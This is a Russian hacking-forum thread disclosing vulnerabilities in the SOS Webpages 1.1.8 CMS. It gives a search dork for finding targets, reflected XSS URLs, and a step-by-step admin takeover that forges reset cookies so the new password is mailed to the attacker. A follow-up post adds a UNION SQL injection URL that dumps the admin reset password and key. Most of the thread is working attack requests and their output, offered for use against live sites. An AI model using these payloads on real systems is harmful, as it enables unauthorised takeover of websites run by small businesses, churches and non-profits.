Уязвимости SOS Webpages

Discussion in 'Веб-уязвимости' started by nikp, 14 Feb 2010.

  1. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    SOS Webpages v1.1.8
    http://sourceforge.net/projects/soswebpages/

    Easy to learn website management system for novices wanting to manage site content.
    Simple content management system for non-profit organizations, small businesses, professional offices,
    small churches. Linux, Apache, PHP, MySQL for CMS.

    dork "Powered by SOS Webpages"
    --------------------
    pXSS
    http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages_id=1>"><script>alert(121212);</script>
    http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(121212);</script>
    --------------------
    Сброс пароля администратора

    примерная схема работы скриптов forgot password
    1 запрашивается e-mail администратора
    2 проверяется на соответствие тому, что хранится в базе
    3 в куки пишется мыло и соленый хеш этого мыла
    4 жмем кнопку Send Reset Link
    5 в куках проверяется соответствие мыла и хеша
    6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук
    7 получаем мылом login, password, reset link
    8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора.

    Слабое место
    Пароль отсылается на мыло из кук,
    обработка разбита на четыре скрипта.

    Смотрим подробнее:
    первые два скрипта нам не понадобятся, сами сформируем нужную информацию.

    admin/admin_password_reset3.php
    PHP:
    /*    admin_password_reset3.php is part of the password recover process. */

    include "admin_queries.php";
    $admin_email=$_COOKIE["submitted_email"];
    $gate=MD5($admin_email "SOSWebpages");
    $gateway=$_COOKIE["gate"];

    ...

    if (
    $gate==$gateway) {

    /*  Make a key and a new password
        Insert the key and the password in the database
        Email the link with the key
        When link is clicked key is checked, password is reset to new password, client sent to login.

        */
    // Make a password
    $chars "ef3gSThij789ABCDEFkmnpqrstuvwxyz2456GHIJKLMNPQRUVWXYZ";
    srand((double)microtime()*1000000);
    $i 0;
    $pass '' ;

    while (
    $i <= 4) {
        
    $num rand() % 50;
        
    $tmp substr($chars$num1);
        
    $pass $pass $tmp;
        
    $i++;
     }
     
    $key=MD5($pass);
     
    $link="http://$site_uri/admin/admin_password_reset4.php?key=$key";

     
    //insert in the database
    $query "UPDATE " $dbprefix "hw_admin SET admin_newpassword='$pass', admin_key='$key' WHERE admin_id=1";
    $dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
    mysql_select_db($dbhdatabasename);
     
    mysql_query($query);

    // Some data for the message
    $mailTo $admin_email;
    $mailFrom "website@$site_uri";
    $mailFromName "$site_uri";
    $mailSubject PASSWORD_RESET;
    $mailMessage USERNAME_IS " : $admin_user

    PASSWORD_WILL_BE ": $pass

    NOTICE_AND_LINK ":

    $link

    LOGIN_WITH_NEW_AND_CHANGE;

    // Send mail
    mail($mailTo$mailSubject$mailMessage"From: $mailFromName <$mailFrom>\r\n");

    admin/admin_password_reset4.php
    PHP:
    Require "admin_queries.php";

    $key=$_GET["key"];
    $dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
    mysql_select_db($dbhdatabasename);
    $query "SELECT admin_key, admin_newpassword, admin_time FROM " $dbprefix "hw_admin WHERE admin_id=1";

    $result=mysql_query($query);
    $num=mysql_num_rows($result);

    $admin_time mysql_result($result,0,"admin_time");
    $admin_newpassword=mysql_result($result,0,"admin_newpassword");
    $admin_key=mysql_result($result,0,"admin_key");
    $admin_password=MD5($admin_newpassword);
    $year substr($admin_time,0,4);
    $mon  substr($admin_time,5,2);
    $day  substr($admin_time,8,2);
    $hour substr($admin_time,11,2);
    $min  substr($admin_time,14,2);
    $sec  substr($admin_time,17,2);
    $Presettime=mktime($hour,$min,$sec,$mon,$day,$year);

    if (((
    time()-$Presettime)<86400) and $admin_key == $key) {
      
    $query "UPDATE " $dbprefix "hw_admin SET admin_password='$admin_password' WHERE admin_id=1";
      
    mysql_query($query);
    Атака:
    http://localhost/soswp_1.1.8/admin/admin_password_reset3.php
    cookies:
    [email protected]
    gate=8de3b517babf6ba49104cc89edf057ee

    где gate= md5 от строки [email protected]
    мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin")

    получаем письмо вида

    Code:
    Your username is : admin
    Your new password will be: IfutG 
    You must click the following link or cut an paste it in your browser within 24 hours.  Here is the reset link:
    http://localhost/SOSWP_1.1.8/admin/admin_password_reset4.php?key=58e69a383d5d41640d191ef2b6ef7fd6
    Use the new password to login. It is HIGHLY recommended that you change your password to something you will remember.
    
    Заходим по линку, вводим логин и новый пароль - мы в админке.

    --------------------
     
    3 people like this.
  2. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    SQL
    найдено ElteRUS

    Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова.

    Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль.

    Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из
    http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,admin_newpassword,admin_key),5,6+from+sos_hw_admin
     
    #2 nikp, 14 Feb 2010
    Last edited: 14 Feb 2010